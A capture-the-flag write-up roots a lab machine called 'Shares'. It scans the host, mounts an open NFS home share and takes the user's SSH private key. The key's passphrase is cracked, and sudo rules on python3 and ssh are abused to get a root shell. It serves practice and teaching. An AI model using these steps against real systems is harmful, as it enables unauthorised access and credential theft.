Starting off with a quick threader6000 scan, the machine reveals a few services. Namely, there is FTP, SSH, NFS, and a webserver running on the box.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 # Nmap 7.91 scan initiated Sun Nov 1 22:10:10 2020 as: nmap -p21,111,80,2049,27853,38779,48237,57581,60503 -sV -sC -Pn -T4 -oA 172.31.1.7 172.31.1.7 Nmap scan report for 172.31.1.7 Host is up (0.10s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Pet Shop 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 3 2049/udp nfs | 100003 3 2049/udp6 nfs | 100003 3,4 2049/tcp nfs | 100003 3,4 2049/tcp6 nfs | 100005 1,2,3 45059/udp6 mountd | 100005 1,2,3 46621/tcp6 mountd | 100005 1,2,3 53514/udp mountd | 100005 1,2,3 57581/tcp mountd | 100021 1,3,4 36170/udp nlockmgr | 100021 1,3,4 38779/tcp nlockmgr | 100021 1,3,4 46539/tcp6 nlockmgr | 100021 1,3,4 50617/udp6 nlockmgr | 100227 3 2049/tcp nfs_acl | 100227 3 2049/tcp6 nfs_acl | 100227 3 2049/udp nfs_acl |_ 100227 3 2049/udp6 nfs_acl 2049/tcp open nfs_acl 3 (RPC #100227) 27853/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 97:93:e4:7f:41:79:9c:bd:3d:d8:90:c3:93:d5:53:9f (RSA) | 256 11:66:e9:84:32:85:7b:c7:88:f3:19:97:74:1e:6c:29 (ECDSA) |_ 256 cc:66:1e:1a:91:31:56:56:7c:e5:d3:46:5d:68:2a:b7 (ED25519) 38779/tcp open nlockmgr 1-4 (RPC #100021) 48237/tcp open mountd 1-3 (RPC #100005) 57581/tcp open mountd 1-3 (RPC #100005) 60503/tcp open mountd 1-3 (RPC #100005) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Nov 1 22:10:22 2020 -- 1 IP address (1 host up) scanned in 12.19 seconds
Looking at the FTP and webserver yields not many results, however there’s a NFS service running and when listing the shares, a single share seems to be open. I’m using the
-e option to list the NFS server’s export list.
1 2 3 4 # List NFS shares of a remote host $ showmount -e 172.31.1.7 > Export list for 172.31.1.7: > /home/amir *.*.*.*
The output from the above command shows that there’s a share,
amir that is open for anyone (...) to mount. Mounting an NFS fileshare is similar as to how other medium are mounted.
1 2 3 # First create a folder to mount the remote NFS into $ mkdir local_amir sudo mount -t nfs 172.31.1.7:/home/amir ./local_amir
Now the remote NFS fileshare is mounted locally under the
local_amir directory and is browsable, just like any other folder.
Mounting the fileshare gives us access to the home directory of user
amir . A user’s home directory can often hold useful files, like saved passwords, documents or SSH keys. In this case it’s possible to retrieve amir’s SSH keys and use them to log on to the box using them.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # Copying the SSH keys from the mounted NFS share to a local folder $ cp ./local_amir/.ssh/id_rsa ../../ # This is amir's SSH private key. It's encrypted and asks for a password when used # Cracking the password of the SSH private key $ ssh2john.py id_rsa > idHash $ john idHash -w=/usr/share/wordlists/rockyou.txt > hello6 John quickly cracks the password: hello6 # Login using the SSH key # -i: Speciy identity file (private SSH key) # -p: Specify port (nmap revealed that SSH is running on 27853 insted of 22) ssh -i id_rsa [email protected] -p27853 (Enter the previously cracked SSH key password)
Pivot to second user
There’s a file called
.sudo_as_user_successful in amir’s homedir. This is usually a good indication of the user having some sort of sudo privileges.
1 2 3 4 5 6 7 8 9 $ sudo -l amir@shares:~$ sudo -l Matching Defaults entries for amir on shares: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User amir may run the following commands on shares: (ALL : ALL) ALL (amy) NOPASSWD: /usr/bin/pkexec (amy) NOPASSWD: /usr/bin/python3
The above shows that the user amir has full sudo capabilities
(ALL : ALL) ALL but to run sudo, a password is required. We don’t have the user password. Fortunately, in this case, sudo can be used to run
/usr/bin/python3 run without providing a password. More specifically, python3 can be run as the user
amy . This way it’s possible to switch to the user
amy and spawn a shell with ptyhon.
1 sudo -u amy /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
Now we have access to amy’s homedirectory as well.
Privesc to root
Checking sudo permissions, now as amy shows that we can run
ssh as sudo without a password. This is very strange, but useful, nevertheless. With one simple command it’s possible to elevate our privileges to root. The command uses the
ProxyCommands option of SSH to spawn a new shell, as the root user.
1 sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
This was a pretty straightforward, but enjoyable box. It shows well, that some services might provide easier access into a system than others (webserver/ftp vs NFS fileshare). It’s also great practice on pivoting from user to user and then to root while abusing sudo privileges.
Always Noot when you Root!